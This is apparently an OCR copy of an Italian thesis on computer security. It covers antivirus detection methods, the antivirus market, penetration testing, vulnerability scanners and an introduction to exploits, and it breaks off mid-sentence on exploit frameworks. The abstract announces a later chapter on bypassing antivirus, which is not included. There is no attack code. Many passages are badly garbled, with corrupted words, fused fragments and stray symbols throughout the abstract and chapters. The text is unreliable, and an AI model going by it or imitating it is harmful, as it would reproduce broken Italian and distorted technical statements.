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Abstract

L’aumento dell'informatizzazione della societa reeth dura prova la sicurezza

dell'individuo. Attacchi informatici e violazione efla privacy sono sempre dietro
77N\

I'angolo. Capire come agiscono i sistemi di smzaemform@lgﬁ comunemente detti
anti-virus, la terminologia e le tecniche di basewdlazﬁ% de| sistemi informatici

diventa cosi un argomento interessante da scoppfﬁéi]\&per un non addetto ai lavori.
\

Su questa linea, iniziera un approfondlmé\%t\éjsuurMC tematiche legate piu

Z

specificatamente ai malware informatici, ﬁleql\ﬁblmtnuttura ai vari generi esistenti,

arrivando al nocciolo della trattazmne/(\ OwVérmdmuﬁamento di codice malevolo
(N
stand-alone. Durante cio, si illustr var[en'liehe, strumenti e dati che potranno

TS
\} [/ «’/ ) ~

7io di unarc@ncora piu approfondita da parte

fungere da base di partenza pe

del lettore. Per concludere si rodera nel matalbingegneria sociale, andando a

. (N . .
scoprire questo fenomeno poco conosciuto ma stretite legato alla sicurezza delle

o N
informazioni. Al ter E@\?della trattazione, prenaeatto una breve dimostrazione

riassuntiva di tuy}ﬁatgomentl trattati al fipeatico di illustrare e spiegare il tutto nel

U ,”\
modo anco@e%{unente possibile.



Introduzione

Giorno dopo giorno la societa moderna e sempreimpimersa nella tecnologia e
nell'interazione con essa, diventata ormai cosaurabt e ovvia, oltre che parte
integrante del nostro stile di vita e della nosw#tura. Imm;gig\are il mondo senza di
essa sembra inconcepibile. La tecnologia non @mpilisso, \@gy\diritto.
L’incredibile sviluppo degli ultimi decenni, in p/:g:& nel settore informatico
e tecnologico, ha portato alla creazione di ss@re e hardware sempre piu
\ )

sofisticati, efficienti e miniaturizzati, disponjp% Jlibero mercato e accessibili a

qualsiasi cittadino che abbia le pos&bﬂﬂa@iﬁ&rseh Da qui, I'avvento di personal

— \k/

2\
computer, smartphone, tablet e cosA\anlcend(az@ra guesti nuovi mezzi, la

possibilita di essere costantementg-ﬁ;%es& erioemti con il mondo che ci circonda

e garantita.

Si é creato un nuovo sistema che gira internocaléh detta rete e che copre ogni
// N
piu piccola sfaccettat \deﬂa societa. Basti pensall'avvento, in primis, del
commercio elettronl%gﬁme al quale e possiniiguistare qualsiasi bene collegandosi
da casa, o ai soﬁa efwork dove e possibile smeT@ nuove persona, comunicare con
’(//

esse e nei p|u dlsparatl creare anche unaaedavirtuale.

Sullonda di questo fenomeno pero viene spontaleoandarsi se tutto questo
garantisca un grado di sicurezza e riservatez4eigate per I'incolumita economica e

sociale di ogni individuo, soprattutto in vista dattore “uomo”, sempre pronto a

cogliere ogni occasione su cui lucrare e trarréaggio.



Nascono nuove tematiche all'interno della sicuregfarmatica. Il controllo degli
accessi al sistema ed ai dati contenuti in essentino un tema centrale. Allo stesso
tempo nasce anche una corrente direttamente oppsstaome violare i sistemi
informatici ed aggirare le proprie protezioni.

Questa tesi trattera proprio quest'ultimo punt:violazione dei sistemi di
7N\

(C o .
sicurezza e si soffermera in particolar modo su a:ohmscir@&ﬂettuare procedure di

bypass di questi senza ricorrere a penetratiomgashpfﬁgoggiandosi a strumenti e
((

metodi relativamente semplici ed accessibili aﬂa@%te Il tutto per fare il punto

)
della situazione su quanto siamo effettivamg?%i@lro 0oggi e dare una coscienza

comune su come prevenire tali situazioni. /- >

Y

Struttura della tesi

Il primo capitolo si occupﬁt%{\principalmente dediaurezza informatica fornendo un
N,
— . . L .. .

guadro generale dell'a > situazione e introddoeai primi termini tecnici.

(O

. ) -

Il secondo capltolo%gte/ra dei sistemi di sicaeeanti-virus: che cosa sono, come

/‘1

wid
funzionano e co@tilizzarli per garantire un gradfficientemente alto di sicurezza.
-
Il terzo cap%illustrera il mondo della violane dei sistemi di sicurezza ossia il
mondo del penetration testing. Anche se questo éndlargomento specificamente

trattato, € necessario da parte dell’'utente, ad fih un completo apprendimento,

conoscere la terminologia e i funzionamenti di base



Il quarto capitolo sara il centro della trattagoverranno esposti strumenti e
metodi, moderni ed aggiornati, che permettano fitefare un bypass di sistemi di
sicurezza anti-virus.

Il quinto capitolo riguardera il ramo dell’'ingegresociale, ovvero lo studio del

comportamento di una persona al fine di ottene‘mrinazioni./A
=

/
[
[
|

. . . R g @)
dal soggetto dell'indagine, ma in realta una congmb@ stret éme/pte connessa a esso.

A

Saranno presenti immagini e tabelle che spiegher@m%ie procedure e metteranno a

N/
confronto i dati raccolti. ;\§
a4

0§>2

N

S /“’//\\" 7
&

%arentemente lontana
\




Capitolo 1

Introduzione alla sicurezza informatica

1.1 In cosa consiste

processo d’informatizzazione della societa e d

@ pubblici e privati. Di cosa
&;4/
stiamo parlando esattamente?

N
La sicurezza informatica e un rar@?}lﬁlle scienernmatiche che si occupa
—~
dell'analisi e del trattamento di vulnerabﬂﬁa‘minacce a cui un sistema informatico, e
in particolar modo i dati in ess

@%muti, possessere sottoposti. Il fine ultimo é
=
rappresentato dalla protezione-d ti ed evitalero perdita.

La perdita di dati n?)ﬁ;\g\esclusivamente rapprebdatdal livello di reperibilita

N,
fisica di questi, ma an}}?t\%
(N

I livello d'accesithilevitare che soggetti non autorizzati

=)
al loro trattamento n SSano entrare in posseadbzzarli per fini non appropriati.
| loro tratt t 05¢ t D tibzzarli per f ppropriat

)

=/

Il prob en@ﬁon si estende esclusivamente al sebtosiness, ma anche a quello
J

privato e o

come oggi ogni individuo possiededispositivo in cui immagazzina

dati privati e non solo, e probabilmente costantgmeonnesso a reti informatiche per
lo scambio di dati.

Da queste prime considerazioni perd0 non bisognasiderare la sicurezza

informatica un mezzo atto esclusivamente alla grotee dei dati, ma in definitiva alla

10



protezione della stessa comunita, del singolo iddiv o di interi sistemi economici. La
sicurezza informatica € una necessita a tutti fjétte e tanto necessaria quanto la

protezione fisica dell'individuo.

1.2 Minaccia attuale -

o
Parallelamente all'avanzamento della sicurezzarmrayi/c%; e andata diffondendo e
((

specializzando la tendenza apposta. E’' nata Iq@ll’aﬂaccaﬂte o del hacker,
W
soggetto che studia i sistemi informatici ed Bs 1ezzi e stratagemmi per averne

accesso, dopo un attento studio del probleﬁ)‘a\\ af&ontare.

o
Fortunatamente l'intenzione d»gk\@ﬁl soggetti sono sempre malevole, anzi

svolgono un’attivita di ricerca per/au\m tare lamsapevolezza su alcuni problemi o
Y
e personale.aNm@so molti ex-hacker oggi sono

pil semplicemente per pura,pass

N

dirigenti o responsabili di sgciet dl sicurezzioimatica, e ci0 mostra che a volte la
migliore soluzione al p é\mﬁ si trova standoalphrte dell’attaccante.
o
Non sempre %ﬁesto il caso. Il piu delle voltgtéiccante ha intenzioni ostili,

dalla semplice vi %ﬁﬁe della privacy fino ad\are a rendere inusabili interi sistemi.
L’arma pi@a’g{ ignoranza nel settore del stiggattaccato, da una piu totale
incompetenza a delle semplici dimenticanze e legger che in molti casi possono
essere fatali. Non sempre un sistema considergterigtrabili lo €.

In questo documento non distingueremo la figura lietker da quella del

cracker. Per semplicita utilizzeremo esclusivamdrgeémo termine.

11



1.3 Raggiungere la sicurezza

L’analisi del livello di sicurezza iniziale di unsgema € sempre il primo passo da

compire. Quest’operazione pud essere condottavatta un? pr\cedura di penetration
[ / (\\

testing e/o vulnerability assessment, ove e pdesxtarlflc@@é?ﬂyllvello di sicurezza

corrente e se non abbastanza elevato, decidere m@@gglungere e quali mezzi

usare. \\\

} \

\
La procedura di vulnerability assessmg% compasstpiu step atti a testare le

varie parti che compongono il sistema &@M che nel loro insieme. In base

— \k/

all'analisi dei rischi a cui il sistema wg e§§menagg|ormente sottoposto e i risultati

conseguiti, si decidera quali saranlz(oﬂé ccesaiane da compiere.
2
informatica estendeuid campo anche alla

Ricordiamo che la

salvaguardia del dato perfau\sa ccidentali corastiguanomissioni o furti. Applicare
()
o S
un azioni di back-up pe%@e/progettare un pidndisaster recovery sono le base della
sicurezza di ogni azi dé/ consentendo cosi ilpercuparziale o totale dei dati oltre a
garantire la busu@&%ﬁontmwty
’(//

Con@ndo bisogna mettere bene in chiaro ceelaezza di un sistema non

puo mai essere considerata perfetta, ma graziéealéche elencate fin ora ed al lavoro

di personale competente e possibile raggiungergrado di sicurezza sufficiente a

considerarsi quasi tale. Purtroppo le vulnerabditan sistema non sono mai totalmente

12



scoperte o risolvibili e anche dove pensiamo chie tsia perfetto potrebbe esserci un

buco che non vediamo.

Sistemi di sicurezza anti-virus

2.1 Che cosa sono

13



Uno dei principali mezzi che sono oggi a disposigiper proteggere un singolo sistema
e il software anti-virus. | malware, volgarmenteachati virus, sono software creati al
solo scopo di causare danni, di qualsiasi tipay aistema informatico. | software anti-
virus fanno parte di una particolare tipologia ditware con il compito di rilevare, ed

eventualmente eliminare, programmi malevoli coméaaee o virus informatici. Resta
7N

. . . @)

il fatto che per quanto efficiente un antivirus genconsi&étay/’), €SS0 non consente

o
singolarmente di considerare un sistema a prov&rlalﬂs/%gesto fattore sara uno dei
\\//

temi principali di quest'indagine. //\\%

,///

N
L’avvento di Internet puo essere qua%?%sidecame la data in cui i primi

virus di massa furono creati, diventando tn problgjiobale. Di pari passo, anche lo

. o A o .
sviluppo di sistemi anti-virus ha mcorr;g@lzﬁ,o Raw, soprattutto in vista di un profitto
( —

economico piu che di sicurezza. p‘gg}m presenzandantivirus in ogni macchina

()
il suo rieparto € semplice ed anche economico

collegata alla rete & indispensabi

se non gratuito. In particolar modo, i proprietdirisistemi operativi Windows devono

@)
porre attenzione ancol@géiore, in quanto altosattuale delle cose, la maggior
A
parte dei virus disponibile/sono rivolti propriontmo questo sistema operativo. Il fatto &

dovuto per moI;éN%quée come la diversa politicagestione del sistemi operativi. |
(C//N\>
©)
sistemi pr enti dal mondo Unix, ove i piu résti privilegi concessi all’utente e
all'accesso dei dati ostacolano in modo nettoiVaét dei virus o limitano in parte i
possibili danni. Questo pero non implica che arglhguesti sistemi non sia necessaria
una protezione anti-virus visto che la possibiitee nasca un nuovo virus € sempre

dietro I'angolo.

14



L’attitudine dei virus ai sistemi proprietari Migoft & dettata anche dal fatto
che essi occupano la piu grande fetta di mercaverov86% L] e in particolar modo
nel mondo desktop dove lignoranza dell'utenza fesge azione e la diffusione di
virus. La peggior combinazione che un utente pogaite dinanzi al monitor € anche la

piu comune: browser e posta elettronica. Elemdrgisfruttano la rete e lo scambio di

i W)
dati. X &\\;///
A

. o N
2.2 Come funzionano e che servizi \4/0
e N

| moderni sistemi anti-virus svolgono le Iorﬁm%ii funzioni di base analizzando cio

()
=8
che é gia all'interno del nostro sister‘pgé‘i\ejio cbeca di entrarvi cosi che prima che

ogni software sia lanciato in effe}:vfilv‘@ secuzioesso e analizzato secondo diversi
&
ssivo incretoedella potenza dei processori e

criteri. Fortunatamente con ilpr

della velocita dei supporti di\massa, I sistemil-gimtis non si presentano piu come
@\

pesanti software che/%@t_g/éﬁo in primo luogo, imptito di rallentare la nostra
macchina, e in se@{iﬁ&quello di proteggerla, sgpamdo nel loro utilizzo una
moltitudine di ut@}?/d/ggl questi software, cheago principalmente in background ed
un piu servizi oééupano un quantitativo relativabeepiccolo di memoria e uso
cpu/disco, consentendo all’'utente di svolgere leppe attivita incurante della sua

presenza.

15



L’analisi sulle attivita del sistema viene svolid eventi, ove a lancio di un
nuovo processo 0 nell'accesso a un insieme di filepne effettuata una verifica
preventiva. Le principali tipologie d’analisi sodae: signatures e ricerca euristica.

I metodo delle signatures, come fa intendere tess®® nome, si base sul

confronto delle firme. Il sistema ricerche all'inte della memoria ram o all'interno dei

file presenti nella macchina uno schema tipico. iQgus € | Omp}/dsto da una sequenza
Q —

predefinita di istruzioni o righe di codice che dete %@ il comportamento o ne
((

caratterizza il tipo, quindi si va a effettuareaﬂnfrom@%etto fra lo schema rilevato e

N
un archivio che contiene tutte le firme dei virl%?:@me ben intuibile, il metodo delle
signatures basa il suo corretto funzionaﬁ;ﬁ%@ dedlapletezza e l'aggiornamento
oy

= - L
dell'archivio messo a disposizione dg’l“&\p@duttoeél'mtlkus, che puo variare da
( —

produttore a produttore. /n\x
U

N
( //’//\\ >

Fondamentale il lavoro c
analizzando il comportameg:go d ;':1 maggior pariegodegrammi con cui un utente puo
entrare in contatto. S?Q&i%n%fo dannoso, si comdut analisi piu approfondita per
determinare I'eﬁetti\!%(ﬁf/iéﬁgra. Da cio € ben inililil principale punto debole di questo
metodo ossia il/xjc;%éd’analisi; e da considerarslto improbabile che in un dato
momento t@n%a/l\//vare presenti sulla rete siatadi @nalizzati e riconosciuti da un
produttore, in particolar modo se si parla di vifiislay cioé appena prodotti. Esiste

quindi un lasso di tempo considerevole prima clpeabuttore scopra, analizzi un virus,

e successivamente aggiorni I'archivio, senza cenaré il fatto che ogni utente deve

16



successivamente aggiornare il proprio archivio gigv In questo periodo anche se il
sistema é considerato aggiornato e sicuro, ina@alh lo é.

La seconda tipologia d’analisi € detta euristicaee molti versi consente di
eliminare in modo parziale la falla di sicurezzdledesignatures. La metodologia

euristica basa il suo funzionamento non sul condratiretto, ma sul confronto di
.. . . . (0 y) ) .
comportamento. | servizi monitorizzano il comporéanio dl\@ﬂgtermmando processo

o
e cercano di determinare se questo puo essereﬂapg@stema. Il tutto si base sul
((

principio che determinate tipologie di virus adnxbtispﬁﬂ\%omportamenti o routine per
N
volgere 1 propri compiti. Le implementazionﬁéi@b&: Si raggruppano in tre rami:

analisi dei file, molto simile alla signatureéﬁgs&eedosi sull'analisi della struttura dei
( /’// \"r‘/
(Y

file a cui si accede, analisi comportarp>" tg@,é, @yacesso € monitorato e ogni azione
( —

potenzialmente pericolosa e segnz;w;Fé};@k7 'uterdtenine la sand-box. Questo metodo,
/)T

(@

\Z
te, in quantdo si effettua solo un controllo sul

forse e considerato il piu intere:

dato, ma anche una limitazione fisica. Il nuovogesso entrante non viene direttamente

@)
allocato nell'area di m \‘l\aﬁomune ai processistema, ma in un area protetta dove
NN

il monitoraggio del @mportamento e piu faciteeinterpretabile. A seconda del
comportamento@%rfﬁcesso successivamente posareeseseguito sulla macchina
fisica, spo i#%uarantena o addirittura teatuin Questo sistema garantisce un
grado di protezione piu alto, ma allo stesso tedgmrada, per quanto minimamente, le
prestazioni del sistema visto che si necessitandiwumero maggiore di risorse fisiche

quali memoria e uso cpu. Sia per ragioni economatie prestazionali, non tutti gli

anti-virus adottano sand-box, anche se ritenutigiiro.

17



Tutti i metodi euristici si basano su un livello sensibilita al rilevamento, di
norma gestito dal produttore e nei casi piu raffiremche dal utente. Il grado si
sensibilita stabilisce il livello di tolleranza cilisistema si deve attenere nell’analisi di
un file, comportamento e azioni, visto che nonatia piu di un confronto diretto, ma di
un interpretazione. L’interpretazione e il puntddie delle m / todologie euristiche: un

@
grado di sensibilita troppo basso consentira Iavvndlﬁ&da‘go di processo che
all'apparenza compiono azioni poco rilevanti, man | sistema, viceversa un
grado di sensibilita troppo alto provochera I etﬂ)ed:op@% ovvero un eccessiva allerta
anche su programmi potenzialmente mnocw/g%;mo mansioni di routine simili,
ma ben diverse da quelle dei virus come Ia?(; msdl dati tra processi, dando vita a
falsi positivi. 0( &}:///,;

Infine, alcuni antivirus si /éo ngono anche diauparte firewall. Esso

<
etrale trigtdmsa e una rete informatica, sia di

rappresenta una difesa passiva

tipo LAN che WAN, compiendo il ruolo di filtraggiononitoraggio e modifica dei
pacchetti entranti e us \E\I\,ﬁa e verso la resanmdosi su regole prestabilite. La sua
o
capacita si basano&Wfﬁtto di poter manipolarecipetti di livello tre, e quindi ip,
riuscendo a Ieg T%lé informazioni contenute meppo header. Nel nostro caso si
- “ . X N o
parla di fir di tipo software, in quanto esseomponente di un sistema anti-virus.
Ne possono esistere anche di tipo hardware, compastipalmente da una macchina

fisica che svolto esclusivamente, o parzialmenteruolo di filtraggio e nodo

perimetrale fisico.

18



Rimanendo proiettati verso il settore businesst@sisanche soluzioni ulteriormente
evolute chiamate anti-virus di rete, composti da gnite completa di software che
consente ad un amministratore di rete di poterirgesia remoto tutti i software di
sicurezza installati nelle proprie macchine hose#ettuare operazioni di manutenzione
in modo invisibile al singolo utilizzatore, senzarlecessita di operare fisicamente sulla

77N
macchina. Visto che parliamo di suite, questi ptbd pc\geny comporre anche di

sistemi firewalll. \
(X
Bisogna considerare che gli anti-virus seguo emegole e algoritmi scritti
\9)
da essere umani e in quanto tali possonq?%:@@tﬁog errori, falsi positivi e

decisioni sbagliate.

2.3 Disponibilita di maTcato

N
Il mercato software%xm//contlnua espansione eugpid grazie all'apporto dato dai
linguaggi si pro%?a?jmfazmne sempre piu sofistieatiumerosi, oltre a un sempre piu
crescente o] d| speC|aI|zza2|one degli addelivori. Probabilmente questo settore
e oggi il piu variegato e creativo, in continuolgppo sia dal punto di vista tecnico che

umano, creando una forte mobilitazione di capitateano e economico. Non a caso i

piu grandi colossi economici mondiali appartengahsettore software.
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Non fa eccezione la competizione che si € venutaeare nel settore della
sicurezza: se da lato della produzione hardwangammo poche societa, ma leader di

settore come Cisco, Brocade e Juni@r $ul lato software la tendenza € decisamente

opposta.
All'attivo troviamo piu di 50 aziende specializzateella produzione e ricerca di
soluzioni antivirus 3] su scala mondiale. Per elencarne‘\@iguj“e bastailfamome di

o
Avast, AntiVir, Kaspesky o Norton. Visto 'alto gta di };@getitivita, guesto mondo si
((

e diviso in tre correnti: chi sviluppa squzioni@ esclusivamente al mondo

N
desktop, chi esclusivamente al mondo businﬁx yarhentrambi. In tutti e tre i casi

comungque le politiche sono molto simili. /-
( /’// \"rf
(U

A .. . .
Sul piano economico, la maggl@’%@arte offre saneigratuite, che includono
( —

una gamma limitata di servizi, e sqmm/ i a pagaime piu livelli, che possono variare
/)T
4 o N .
ro set digpezione a disposizione dell'azienda

da semplici servizi aggiuntivi, a
oltre che un sistema di signatures, firewall evelaenti euristici piu avanzati. Non
@)
dimentichiamo il fattorwé@p'ﬁrnamento, visto clenlpoche aziende sono disposte a
A
offrire a costo zero@ archivio completo drug appena rilevati e le sue nuove
. ) o .
scoperte, Iasmauﬂ%uésto privilegio esclusivamaliutenza pagante, e non sempre.
(¢ // \
()
Infi iste anche una corrente di pensieroconsidera le aziende produttrici
il male stesso, accusate di incentivare la ricertzaproduzione di nuovi virus attraverso

forti finanziamenti a fine di mantenere il proptaisiness fiorente e proficuo, anche

attraverso una politica indiretta di terrore inf@atioo.
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Qui seguito inseriamo una lista dei migliori 1Qianus targati 2012 secondo
I'indagine svolta da alcune riviste on-line spacidte nel settored][5][6], seguendo
criteri di rilevamento e bloccaggio malware:

- Vipre Antivirus 4

- Avira Antivirus Premium

- Trend Micro Titanium Antivirus+ 2012 \\\\3///
Q N—
- McAffee Antivirus Plus 2012 ?/§
- AVG Antivirus 2012 X\
N
- ESET Nod32 Antivirus 5 %

| dati mostrati non rappresentano la verita asaaflitmercato, visto che come gia

(Y
detto gli antivirus sono \émﬁnuo miglioramemtaviluppo.
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Capitolo 3

Basi di hacking e penetration test

Anche se i due nomi divergono nel loro significdtacking eﬁggnetration test sono le
77N\
({ Al

7

due facce della stessa medaglia. Il termine hacﬂadiﬁgsvilug&‘\aw‘\“}fegli anni assumendo
Q —

i piu svariati significati, passando da inizialrrestgnifigz%gositivo a quello che oggi
("

molti considerano negativo, adottato per indicm;ﬁwui senza scrupoli che si

)/
divertono a discapito del prossimo, sia su scﬁ%@e economico.
\/\

Il penetration testing, € un attivita//r/;gi\éﬁh/anmm(acente e ramo chiave della

7
— (L

sicurezza informatica. Essa si preflggg\io)‘é;copmdimduare il grado di sicurezza di
( —

un sistema attraverso tecniche di raccolta infofomze attacco. Nel breve, un
‘\} “/“// )T

=

ra di penetragsh non fa altro che tentare di

7

operatore che effettua una pro

hackerare un sistema di sicurezza non con lo sdop@larlo od arrecare danni, ma
)
bensi di scovare i punt boli ‘e tapparli.

/F

Hacking e p&e@ﬁon test coincidono quindi r@ol significato pratico e
condividono me&ggqﬁ?ﬁie e strumenti con l'unicaiaate del fine. In cosa consistono
effettivama@uggt/e metodologie e quali fattanno considerati e sfruttati. In questo
capitolo affronteremo non tanto la metodologie asata su quali cardini chiave si

fondano queste pseudo discipline: vulnerabilitpl@k e payload.
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3.1 Vulnerabilita

3.1.1 Che cosa sono e come sfruttarle

Come il nome stesso dice, la vulnerabilita, inipatare a livello informatico, consiste

in una parte o componente del sistema preso in aasialnmorrispondenza del quale le
//
misure di sicurezza messe a protezione di esso aesm@xﬂglotte 0 ancor peggio

&
compromesse. |l termine sicurezza perd non de\&fe@terpretato e solo in senso

stretto del termine, esso rappresenta un conce;;t%\nplo La vulnerabilita di un
N\
software, anche definita bug, € spesso rap/p @tun difetto di progettazione,
(7

d'implementazione o dello stesso swlugrpegx causaurth procedura di debug
N7

— \k/

~
incompleta, errata o0 peggio ancora\lnﬂé&stente pacipali cause di questo
funzionamento incorretto sono do/vmexx operazionnput per il quale il software

assume comportamenti non_previsti. Nella maggiatepdei casi queste operazioni

sono dovute a inserimenti di dati-parziali o vofo&nte incorretti oppure da inserimenti

(N
di dati su cui non sono “éeﬁm controlli.
N

Sfruttare la vl\.tlﬁ\ne/@bilita di un software quindirmette all'attaccante di usare a
proprio beneﬂuz;m%xﬂamentl di comportamento shgengono a creare in presenza di
un certo i (bh/ﬁéer overflow), da un semplicasir dell’applicazione a un ben
peggiore stack overflow, procedura che consenteetibsovrascrivere I'area dati del
processo con nuovi dati.

La ricerca delle vulnerabilitd di un software eesgp effettuata sia dagli

attaccanti che dagli stessi produttori ed entramitizzano le medesime metodologie.
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Esistono specifici software prefissi a questo scopapaci di monitorare |l

comportamento a basso livello del sistema presssame, a seconda del vario tipo di
input inserito. Anche se parliamo di programmi $jp@ccio non implica che questa sia
una procedura automatica. Per prima cosa bisogu#st attentamente la struttura del

campione e verificare gli input standard. In seeohabgo, verificare il comportamento

7))

\\
|

. - . y . . . [{(( ) 1]~ .
su input alterati fino a raggiungere 'obbiettivesitierato. %&e&ﬁ e solo una soluzione
necessaria, ma non sufficiente, non sempre la mmne; 0 essere presente, tutto sta
‘//

nell’'abilita delle due patrti, il programmatore eldero@{%
\\ )
Naturalmente per tutti i mali c’e una cu;/a% auda vulnerabilita viene trovata

e resa pubblica, ed esiste un gruppo di sv d&) al software, questi cercheranno
— wu

di sviluppare una patch correttiva a f/Qcﬁke lagfadia tappata. Non a caso, le piu

importanti compagnie software, qu n nomedBooon il suo Chrome, stanziano

il
trovare leeralnlita dei propri software ed a

premi in denaro a chiunque ries

spiegare quali siano e come sanarli. Cedere umalpiquantita di denaro & ben piccola
@

cosa di fronte a quanth\@\%tfr potrebbero essersatiada un attaccante che sfrutti le

vulnerabilita di un s & distribuito a livelilnondiale e usato da milioni di utenti.

N

o /<//
3.1.2 VuI%bility assessment

Il vulnerability assessment e da considerarsi itnprpasso di ogni penetration test e
non rappresenta uno strumento, ma bensi una metpdoldi lavoro atta alla

valutazione del grado di sicurezza di un sistema.
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Questa valutazione delle vulnerabilita consisterirprocesso volto a valutare I'efficacia
dei meccanismi di sicurezza ed all'individuaziogaantificazione ed all’assegnazione
di livelli di priorita riguardo eventuali falle diistema.

| principali strumenti di cui si fregia questa m@blogia sono scanner oltre che

I'esperienza di chi li usa. Gli scanner si possdividere in in/vadenti e non, differendo
//

solo dal potenziale risultato provocabile all'oggetd’ ar@hsy//l gli scanner che
effettuano azioni invasive, cercando di rilevareﬂasen;@na possibile vulnerabilita
((

andando direttamente a verificare se essa pe@t&%@ossibilita di provocare una
: :
N

reazione nel sistema in esame. Diversarp/e;%;@hrm non invasivi cercano

I'esclusiva raccolta di informazioni rlguam}a brsagllo dal modello del sistema
/T \k/
operativo a quasi servizi possiede, cg@\\v smsemno ed a che tipo di porta sono

associati e cosi via dicendo. Quesp@ftp d’operezrisulta innocua e non arreca danni

L
isibili aiesis di sicurezza utilizzati. Gli scanner

oltre che essere quasi total

invasivi si differenziano anche per questo secofattmre: possono essere rilevati e
/\\\
bloccati da un buon sis di sicurezza o anaggipeallarmare i responsabili.
,/‘ -

Questi mezzi brfa/lnnumerevoll e disponibili iteranche gratuitamente. Sono
disponibili progr %fﬁreflsg esclusivamente aed®inare un tipo di vulnerabilita o di
piu compl e%(/)nsentono una visione complessattraverso mezzi invasivi che
non a seconda delle necessita. Solitamente unYulmerability Assessment dovrebbe

essere svolto esclusivamente con mezzi non invasivi
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Un esempio di scanner e il software open source \maluzione che sfrutta
I'utilizzo di pacchetti grezzi (raw) per la raca@ltelle informazioni sia su singoli host
che su intere reti di grandi dimensioni.

Oltre ai singoli programmi di scanner, esistononeuhbilty scan completi e
quasi automatici atti al mondo professionale, abrmentono/grazie a comode interfacce
grafiche di effettuare in modo automatico una scmescon‘@/lei@/\dl un intera rete e di
rilevarne le principali minacce a livello soﬁwar@ueg@gtenti strumenti anche se
disponibili in versione gratuita, sono effettwartp&tg%hcam ed efficienti solo se
acquistati nella loro versione completa a&@\a;)epm le stesse motivazioni
precedentemente fatte per i sistemi anti vm/s%ende fornitrici non sono disposte a
cedere gratuitamente tutti gli agglornam }ﬁgplterecentl vulnerabilita, in particolare
su quelle ancora da sanare, a un pﬂb 0 non pagatre che a offrire servizi ben piu

Oy
"y scanndr questo livello sono Nessun, fornito

efficienti. | pIU conosciuti vu rler

da Tenable Security [Tab3 1 1],”e Nexpose, fordigo Rapid7 [Tab3.1.2]. Software

disponibili anche in v r Wgratuﬂa ma pratieate inefficaci se paragonati alla
versioni a pagamer%/gapam di analizzare intete di centinaia di host in pochi
minuti, anahzzamﬁi%u///r'nodo automatico ogni aspstiitware dal lato applicativo web
fino ai ser@ r<e/f/e costantemente aggiornathee su vulnerabilitd scoperte pochi

giorni primo o esclusive dell'azienda fornitrice.
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Nessus

HomeFeed

ProfessionalFeed

Utilizzo

Non commeciale

Commerciale

Aggiornamento

vulnerabilita in tempo realg St sl
Possibilith download no i
Vmware Virtual Appliance —
%7 \
f\( [\\\/‘” )
Verifica di policy che fanng \\1//
riferimento a standard qua|i no < Si
PCI, FDCC, CIS, ecc p
((
Rilevamento e auditing di v<: \
dispositivi SCADA per N/ .
quanto riguarda la sicurezza no % Sl
e la configurazione //N
Supporto commerciale (¢ Tﬁ; Si
Prezzo & ﬁra/tis 1.200 $ annuali
Tabella 3.1-1:

v

N
r%’:

\u

s

i
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e come usarli

NeXpose [Community | Express Ex;rrc()ass Consultant | Enterprise
Prezzo Gratis 30003 6.999% Preventivo| Preventivo
anno/utentg anno/utentg
N. max di ip 32 128 256 Illimitati [limitati
N. max di o
utenti 1 1 1 Un laptop| Illlimitati
Max ram N -
supoortata 4 gb 8gb 9gb III|%& \ Illimitatal
Assistenza . W)/
. Community| Inclusa Inclusa Inclusa Inclusg|
online
Assistenza Non Opzionale Inclusa | /—Inclusa Inclusg
telefonica | disponibile | P w/i% g
V“'Q?ratb'“ta si Si si (1) s si
i rete NS
Vulnerabilita . . -~ . .
so Si Si /é% Si Si
Vulnerabilita Si Si @N ; si si
applicazioni (()
Applicazioni| | opzionalel ) si Si Si
web P ﬂa =
Vulnerabilita . SN0 . . _
database Si @)/ Si Si Si
Ta!gglla\@istino Rapid7 NeXpose
@
. \/&/\\,/ /
3.2 Exploits fkj
N

3.2.1Che cos@o

(RN

TONN
$Or
=

o trattato di vulnerabilita, cosas@enperché sono cosi rischiose, ma

~/

Fin ora ab
niente a riguardo di come siano propriamente sfteitte il momento di introdurre gl
exploit.

L’'exploit e il termine usato per identificare un dice che sfrutta delle

vulnerabilita in modo da causare un comportamentoralo di un determinato sistema
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0 componente. Questi comportamenti possono vatee escalation dei privilegi a un
denial of service: nel primo caso, I'anomalia pettmdi elevare i propri privilegi utente
anche fino al livello amministratore, nel secondzsa detto anche DoS, si va a
compromettere totalmente il funzionamento di unedeinato servizio/funzione o la
macchina stessa.

72\

Gli exploit possono essere classificati sia peo tﬂn&&n@do sia per il tipo di
vulnerabilita che sfruttano, sia per I'effetto qﬁrevocang.i@> primo caso, gli exploit si
possono definire remoti, quando vengono eseglam\%so la rete senza precedenti
accessi al sistema, oppure locali, quando é @Sreventivo accesso al sistema e
da esso far partire I'esecuzione. Nel se(f? cesme abbiamo gia spiegato nel
precedente capitolo, la classificazione s;kﬁ;sjalpuld input che puo essere dato o la
particolare condizione creata. Inﬁ@t{e%o caso dta ldiventa molto puo lunga e

(Y
r overflow, pmeaverflow, sql injection, format

elencheremo solo alcuni qu li:

string attack, race condltlon e ecc... Nel terzo dasece troviamo il risultato finale
dell’esecuzione quali E@&\bds Spoofing, ...

Una vulneral%/éjauo possedere uno o piu explmg non € mai il caso
contrario, visto Qﬁ&)ﬂﬁloﬂ sfrutta una determanatcezione ed e quindi da considerare
dedicato. allrr%nte guando un exploit viene puobtd, questo e studiato nelle sue
parti per capirne il funzionamento e su cosa fa,levdi norma la vulnerabilita sfruttata
viene patchata ovvero risolta. In questi casi, glex diventa obsoleto e non piu

efficiente per le nuove versione del software. Aooper questo motivo gli hacker che

sviluppano un exploit cercano in tutti i modi dhéglo privato e non condividerlo con
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altri. Questi tipo di exploit sono definiti explddt-day e rimangono tali finche la loro
diffusione non e tale da potervi dare rimedio wldnerabilita che sfruttano viene resa
nota. Questi tipi di exploit sono ovviamente i ppetibili e il sogno di ogni hacker.

Di norma gli exploit vengono utilizzati attraverpoogrammi dedicati, ma al

giorno d’oggi il pit comodo e funzionale mezzo diazo e quello del framework, un
VRN
/ \

(@ .
potente strumento che funge sia da base di pragaiea C@ﬂ}ltlllzzo. Cosa sono i

' ? i
framework e che vantaggi comportano” 7/§
L’exploit Framework e la chiave di congiunzion@%\accanti ostili e mezzi per |l
N
penetration testing. | framework forniscono un- mbiente di lavoro dove creare

e/o eseguire il proprio codice eseguibile contralaterminato obbiettivo. Diversamente
( /’// \"rf
(U

da prima della loro utilizzo, quando I’g;@céanm/dva obbligatoriamente procurarsi il
( —

codice malevolo o creare i proprig&;&%it per oguinerabilitd che intendeva usare,
/)T
7 . . -
litd di ottengratuitamente il codice condiviso

grazie ai framework si ha la_pos
